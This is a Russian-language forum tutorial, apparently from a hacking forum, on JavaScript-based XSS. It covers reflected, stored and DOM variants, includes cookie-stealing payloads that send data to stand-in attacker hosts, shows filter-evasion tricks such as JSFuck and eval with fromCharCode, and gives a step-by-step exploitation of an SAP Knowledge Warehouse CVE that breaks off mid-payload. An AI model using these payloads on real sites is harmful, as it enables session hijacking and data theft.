XSS во всей её красе [ Часть 2 ] [ JavaScript ]

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

XSS[is] JavaScript Damage​


1702810261889.png


Эта статья про XSS-атаки основанные на JavaScript, она резюмирует первую часть этой серии, которая фокусировалась на инъекциях HTML/CSS. Мы увидим полную мощь XSS и обратимся к случаям, которые произошли в прошлом. Это не очередная статья об "alert(1)".

Содержание​

1. JavaScript-основанные XSS
2. JavaScript в веб-приложениях
3. Типы XSS
4. Функциональные возможности JavaScript, используемые в атаках XSS
5. Некоторые случаи с XSS
6. Рукопашная

JavaScript-основанные XSS​

JavaScript-основанный XSS - это уязвимость, при которой злоумышленник внедряет вредоносный код JavaScript в веб-страницу, просматриваемую другими пользователями. В отличие от инъекций HTML/CSS, которые изменяют структуру или стиль веб-страницы, JavaScript XSS нацелен на функциональность, используя динамическую природу JavaScript.

Основные отличия от инъекций HTML/CSS​

Область воздействия: JavaScript может манипулировать API браузера и данными пользовательских сессий.
Интерактивность: JavaScript XSS может создавать интерактивные вредоносные скрипты.
Доступ к данным: JavaScript-основанный XSS может получать доступ к конфиденциальной информации, такой как куки и токены.
Первая часть нашей серии исследовала уязвимости инъекций HTML и CSS. Инъекция HTML влияет на структуру страницы, в то время как инъекция CSS манипулирует визуальной презентацией. Эти атаки могут нарушить макет веб-сайта, но обычно не выполняют вредоносные скрипты и не получают доступ к данным пользователя.

JavaScript в веб-приложениях​

JavaScript имеет ключевое значение в современной веб-разработке, управляя интерактивными и динамическими аспектами веб-приложений. Однако его функции также открывают пути для уязвимостей, таких как XSS.

Асинхронные операции с AJAX​

AJAX (Асинхронный JavaScript и XML) позволяет веб-приложениям асинхронно отправлять и получать данные с сервера, не вмешиваясь в отображение и поведение существующей страницы. Это означает, что веб-приложения могут динамически обновлять содержимое, обеспечивая более плавный пользовательский опыт.

Фреймворки и библиотеки для фронтенда​

Фреймворки, такие как React, Angular и Vue.js, основаны на JavaScript. Они предлагают повторно используемые компоненты и реактивную привязку данных, позволяя разрабатывать сложные одностраничные приложения. По сути, они широко используются.

JavaScript на стороне сервера​

С появлением Node.js, JavaScript можно использовать не только на стороне клиента, но и на стороне сервера. Это позволило разработчикам использовать единый язык программирования на всем стеке веб-разработки.

Типы XSS​

Отраженные XSS​

Отраженные XSS-атаки происходят, когда злоумышленник отправляет вредоносный скрипт пользователю, часто через ссылку. Затем скрипт выполняется браузером пользователя как часть взаимодействия жертвы с веб-сайтом.

Запрос, отправленный пользователем
Код: Скопировать в буфер обмена
http://xacker.mamkin/search?query=<script>alert('XSS')</script>
Код на стороне сервера:
Код: Скопировать в буфер обмена
Код:
var searchQuery = request.getParameter("query");
response.write("<div>Results for " + searchQuery + "</div>");
В этом примере скрипт <script>alert('XSS')</script> вводится в параметр запроса и выполняется при отображении результатов поиска. Сервер включает скрипт в ответ без надлежащей очистки (он же sanitization), что приводит к выполнению скрипта на стороне клиента.

Сохраненные XSS​

Атаки сохраненных XSS происходят, когда злоумышленник сохраняет вредоносный скрипт в базе данных веб-сайта, который затем отображается и выполняется, когда другие пользователи открывают ту страницу.
Допустим, злоумышленник отправляет запрос, который хранится в базе данных, и когда пользователь открывает веб-сайт, код выполняется.
Код: Скопировать в буфер обмена
<script>fetch('http://xacker.mamkin/?cookie=' + document.cookie)</script>
Как это выглядит на стороне клиента:
Код: Скопировать в буфер обмена
Код:
<div>
 User Comments:
 <p><script>fetch('http://malicious-site.com/?cookie=' + document.cookie)</script></p>
</div>
Здесь скрипт злоумышленника сохраняется в базе данных через форму комментария и позже отображается на веб-странице. Когда другие пользователи посещают страницу, их cookie отправляются на сервер злоумышленника.

DOM-основанные XSS​

DOM-основанные XSS-атаки манипулируют объектной моделью документа (DOM) веб-страницы, часто изменяя URL и заставляя JavaScript выполнять вредоносный код на основе этой манипуляции.

Запрос, отправленный пользователем
Код: Скопировать в буфер обмена
http://xacker.mamkin/#<script>alert('XSS')</script>
Как это выглядит на стороне клиента:
Код: Скопировать в буфер обмена
Код:
var fragment = window.location.hash.slice(1);
document.getElementById('content').innerHTML = fragment;
В этом примере код JavaScript берет фрагмент URL (после #) и вводит его непосредственно на веб-страницу без очистки. В результате выполняется скрипт внутри URL.

Функциональные возможности JavaScript, используемые в атаках XSS​

Хотя JavaScript обогащает веб-приложения, он также вводит потенциальные риски безопасности. XSS-атаки часто используют определенные аспекты JavaScript для выполнения вредоносного кода в браузере пользователя.

Манипуляция с DOM​

Объектная модель документа (DOM) - это API для HTML и XML-документов, который предоставляет структурированное представление документа и определяет, как документы могут быть доступны и изменены. В XSS-атаках вредоносные скрипты часто манипулируют DOM для вставки или изменения содержимого веб-страницы.

Например, предположим, что у нас есть веб-сайт, подобный этому:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<head>
    <title>Sample Page</title>
</head>
<body>
    <div id="someElement">Initial Content</div>
</body>
</html>
В коде ниже содержимое статично, поэтому пользователь не сможет его изменить. Однако обычно в случаях XSS, содержимое получается от пользователя, поэтому оно является динамическим. Допустим, мы отправляем запрос на xss.is/?input={XSScodeHere}.
Код: Скопировать в буфер обмена
document.getElementById('someElement').innerHTML = 'XSScodeHere';
В этом случае, если веб-сервис принимает ввод от пользователя, код JavaScript динамически изменяет содержимое элемента веб-страницы, что часто используется в атаках с помощью перекрёстных скриптов (XSS) для внедрения вредоносного содержимого.
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<head>
    <title>Sample Page</title>
</head>
<body>
    <div id="someElement">XSScodeHere</div>
</body>
</html>
Проще говоря:
Когда мы вводим данные, исходный код (CTRL+U) не изменится, но «инспектирование», которое мы делаем с помощью инструментов разработчика браузера, покажет отредактированный код. Вот почему я хочу добавить поддержку хромиума в мои инструменты, но я все еще думаю об этом, так как это также потребует много ресурсов.

P.S. Очевидно, что мы должны заменить "XSScodeHere" на что-то вредоносное, я дам несколько примеров ниже.

Обработчики событий​

JavaScript может назначать функции для выполнения, когда происходят определенные события, такие как клики мыши или ввод с клавиатуры. Злоумышленники могут встраивать вредоносный код в эти обработчики событий.

В этом случае вредоносная функция может быть кодом, выполняющим несанкционированные действия, такие как кража куки или перенаправление пользователя на вредоносный сайт:
Код: Скопировать в буфер обмена
<button onclick="maliciousFunction()">Click Me</button>
Еще один очень простой пример:
Код: Скопировать в буфер обмена
<button onclick="alert(1)">Click Me</button>

Запросы AJAX​

AJAX может быть использован для отправки данных на вредоносный сервер или получения данных с него без ведома пользователя.

Этот скрипт отправляет куки пользователя на вредоносный сервер:
Код: Скопировать в буфер обмена
Код:
$.ajax({
 url: 'http://xacker.mamkin/steal-data',
 type: 'POST',
 data: { sensitiveData: document.cookie }
});

Некоторые случаи с XSS​

Все мы знаем, что атаки с использованием инъекций SQL представляют большую угрозу для извлечения данных, по сути, они более серьезны, чем XSS в большинстве случаев. Это потому, что XSS обычно требует взаимодействия пользователя. Я хочу сказать, что XSS недооценивается WhiteHat-ами и переоценивается BlackHat-ами xD. Программы вознаграждения за нахождение уязвимостей (bug bounty) обычно платят немного за XSS, так как это требует взаимодействия пользователя, в то время как это может быть прибыльным в «темном» бизнесе. Давайте рассмотрим некоторые случаи из прошлого:

British Airways (2018): British Airways столкнулись с серьезной утечкой данных из-за атаки XSS, выполненной группой хакеров Magecart. Группа использовала уязвимость в библиотеке JavaScript под названием Feedify, которая использовалась на сайте British Airways. Они модифицировали скрипт для отправки данных клиентов на вредоносный сервер, имитируя домен British Airways, тем самым успешно осуществив скимминг кредитных карт 380 000 транзакций бронирования. Злоумышленники были настолько искусны, что использовали SSL-сертификат для своего поддельного сервера, делая его безопасным в глазах пользователей и браузеров.

С точки зрения WhiteHat:
Это привело к штрафу в 230 миллионов долларов (https://www.reflectiz.com/blog/brit...arty-breach-leads-to-a-230-million-gdpr-fine/), если бы уязвимость была сообщена, ответ, вероятно, был бы либо «Проблема в стороннем компоненте и нас не касается», либо если бы WhiteHat сообщил об этом как о «Использовании необслуживаемых сторонних компонентов (CWE-1104)», то это было бы рассмотрено как низкая или средняя угроза, потому что ее использование считалось бы незаконным, и воздействие, вероятно, не было бы большим, так как она не была использована. Типо никто не понял бы насколько уязвимость может навредить не воспользовавшись ею. Вознаграждение за сообщение об уязвимости составило бы от 5 до 10 тысяч долларов, эти цифры не "вымышлены", они реальны (https://www.hackerone.com/application-security/reducing-risk-bug-bounty-program).

Вывод здесь в том, что платформы Bug Bounty отлично подходят для компаний, чтобы избежать такого поведения. Что касается моих собственных мыслей об этом, WhiteHat делают то что делают, в основном ради своей репутации, а вознаграждение для них как чаевые.

С точки зрения BlackHat:
Я не BlackHat, поправьте меня, если я ошибаюсь. Я думаю, что BlackHat должен был извлечь данные, иначе продемонстрировать воздействие было бы невозможно, и это то, что они сделали, так что хороший ход. Вопрос в том, что случилось с этими данными? Я не смог найти никакой информации в интернете, очевидно, мы знаем, что они были проданы, главный вопрос в том, «Кому?»

Fortnite (2019): Популярная онлайн-игра Fortnite столкнулась с потенциальной атакой XSS, которая могла привести к значительному нарушению данных. Незащищенная, устаревшая веб-страница на сайте игры содержала опасную уязвимость XSS, предоставляя злоумышленникам потенциальный доступ к 200 миллионам пользователей. Атака могла позволить украсть виртуальную валюту игры и записать разговоры игроков, предоставляя ценную информацию для будущих атак. Исследователи безопасности из Check Point обнаружили и сообщили об этой уязвимости Fortnite.

Есть видео PoC:

Как видно из видео, это требует взаимодействия пользователя, поэтому вознаграждение WhiteHat здесь, вероятно, будет таким же, как и в случае с British Airways, ущерб от BlackHat будет немного меньше, чем тот, который был нанесен British Airways. Я думаю, мы будем в будущем ссылаться на эти случаи, чтобы понять, насколько плохо была использована атака XSS xD

eBay (2015-2016): eBay столкнулась с серьезной уязвимостью XSS, где веб-сайт использовал параметр "url" для перенаправления без проверки его значения. Это позволило злоумышленникам внедрить вредоносный код в платформу, потенциально получив полный доступ к аккаунтам продавцов eBay, манипулируя списками товаров и крадя платежные данные. Эта уязвимость активно использовалась злоумышленниками для манипуляции с объявлениями о продаже высокоценных товаров, таких как транспортные средства.

Уязвимость в British Airways был на самом деле сохранённый XSS, хотя она была связана со сторонними компонентами, уязвимость в EpicGames была в своем собственном домене, это была проблема с CORS. Если я правильно понял новости, параметр URL использовался для внедрения iframe на вредоносный сайт, так что случай с eBay скорее проблема CSP. У меня нет нормального источника, чтобы дать точную информацию, но я почти уверен, что это, вероятно, на том же уровне, что и уязвимость в Fortnite, или, возможно, немного выше, потому что это в основном домене. Но в этих случаях это важно для WhiteHat, а не для BlackHat, потому что BlackHat, вероятно, будут использовать короткую ссылку, так как отраженный XSS для кражи данных будет использовать «подозрительный» пейлоад, он будет длинным, так что в случаях с Fortnite и eBay они должны быть одинаковыми в глазах BlackHat (я думаю), для WhiteHat, eBay более серьезна, так как это в основном домене, нас не волнует, насколько велик пейлоад, так сильно как то где уязвимость найдена, в оценке CVSS нет «длины пейлоада» xD

Теперь у меня возникла идея, мы должны создать свою собственную оценку и добавить «Длину пейлоада», потому что это важно. Я назову это XSS, eXploitation Severity Score.

Обход санитаризации ввода​

Злоумышленники постоянно разрабатывают сложные техники для обхода клиентских мер санитаризации и безопасности. Очевидно, что есть много методов для этого, и те, которые я здесь объясняю, лишь часть того, что существует в дикой природе. Мы можем видеть, как люди ежедневно делают посты в X (twitter) с обходом Cloudflare/Akamai, хотя иногда может сработать простое копирование и вставка, обходы выполняются через ручные тесты, путем понимания того, что блокируется/санитаризируется.

Использование расширенного кодирования​

Браузеры могут интерпретировать различные кодировки, и злоумышленники часто используют эту особенность для «скрытия» пейлоадов.
Код: Скопировать в буфер обмена
<script>alert('XSS');</script>
Этот базовый инъекционный XSS может быть заблокирован фильтрами санитаризации. Однако использование шестнадцатеричного или base64 кодирования может обойти фильтры:
Код: Скопировать в буфер обмена
<script>alert(String.fromCharCode(88,83,83));</script>
Вы можете видеть множество пейлоадов подобного рода, суть здесь не в том, чтобы «скрыть» «XSS», а скрыть само «оповещение», насколько мне известно, также используются html/url кодирование. Я не использовал никакого кодирования для обхода XSS, .

Замаскировка Скриптов​

Замаскировка включает в себя маскировку вредоносного скрипта для того, чтобы избежать его обнаружения. (да, звучит тупо)
Код: Скопировать в буфер обмена
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
Событие onerror запускает функцию eval(), которая выполняет декодированный скрипт, отображая предупреждение (alert) с 'XSS'.

Метод обфускации, который почти всегда работает для меня, - это использование JSFuck (https://jsfuck.com):
Код: Скопировать в буфер обмена
Код:
<script>
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
<script>

Переводится как:
Код: Скопировать в буфер обмена
<script>alert(1)</script>

Использование Атрибутов HTML5​

HTML5 ввел несколько новых атрибутов, которые могут быть использованы для эксплуатации XSS.
Код: Скопировать в буфер обмена
<audio src="malicious.mp3" onerror="alert('XSS')"></audio>
Я объяснил это в предыдущей статье - https://xss.is/threads/103323/.

Рукопашная​

Всё, что написано выше, - это лишь основы, случаи разные. Я объясню охоту в дикой природе так, как я это делаю. Это может быть через 2 пути, автоматизированный (или как я его называю, ак47), или рукопашный. Я уже объяснил автоматизацию с помощью kXSS и Bablo, так что я расскажу о других вещах. Все мы иногда играем с Nuclei, и у них есть шаблон для CVE-2021-42063. Давайте посмотрим, что там есть. У меня есть уязвимая цель, и я буду анализировать её в слепую. Это может быть самым странным анализом эксплойта.

Шаблон:
Код: Скопировать в буфер обмена
Код:
id: CVE-2021-42063

info:
  name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
  remediation: |
    Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2022/Mar/32
    - https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
    - https://twitter.com/MrTuxracer/status/1505934549217382409
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42063
    - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42063
    cwe-id: CWE-79
    epss-score: 0.00491
    epss-percentile: 0.73418
    cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: knowledge_warehouse
    shodan-query: http.favicon.hash:-266008933
    zoomeye-query: +app:"SAP NetWeaver Application Server httpd
  tags: cve2021,sap,xss,seclists,packetstorm,cve

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#X6D&#X65&#X6E&#X74&#X2E&#X64&#X6F&#X6D&#X61&#X69&#X6E)>"
          - "SAPIKS2"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
Что мы можем проанализировать из этого, так это то, что пейлоад - <SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#X6D&#X65&#X6E&#X74&#X2E&#X64&#X6F&#X6D&#X61&#X69&#X6E)>. У меня есть следующие вопросы в голове:
  1. Почему это HTML-кодировка?
  2. Почему это написано прописными буквами?
  3. Почему это заканчивается на .asp, что если я его уберу?
Давайте проверим это на моей уязвимой цели, мой запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta data-fr-http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh"      content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/PIRIVETPIRIVET">
</head>
<body>
</body>
</html>
Это показывает, что независимо от того, что я ввожу, вывод будет в верхнем регистре, и JavaScript чувствителен к регистру, что означает, что пейлоады в верхнем регистре не будут работать, давайте сначала попробуем HTML-инъекцию. Но перед этим я уберу .asp
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet HTTP/2
Ответ:
Код: Скопировать в буфер обмена
HTTP/2 404 Not Found
Хорошо, значит, это должно заканчиваться на .asp, время для HTML-инъекции:
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><h1>test</h1>.asp HTTP/2
Ответ:
1702820960831.png


Изображение [1]
Как мы видим из скриншота, HTML-инъекция работает, и нам удалось выйти из мета-тега. Теперь у нас есть несколько способов эксплуатации этой уязвимости, я буду использовать немного другой подход, но перед тем как начать с другого подхода, давайте проверим JSFuck. Я начинаю с JSFuck, потому что другие простые/базовые пейлоады не будут работать, так как они будут преобразованы в верхний регистр.
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
HTTP/2 403 Forbidden
Я думаю, что проблема с тегом "script", так что давайте заменим его на тег "img".
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[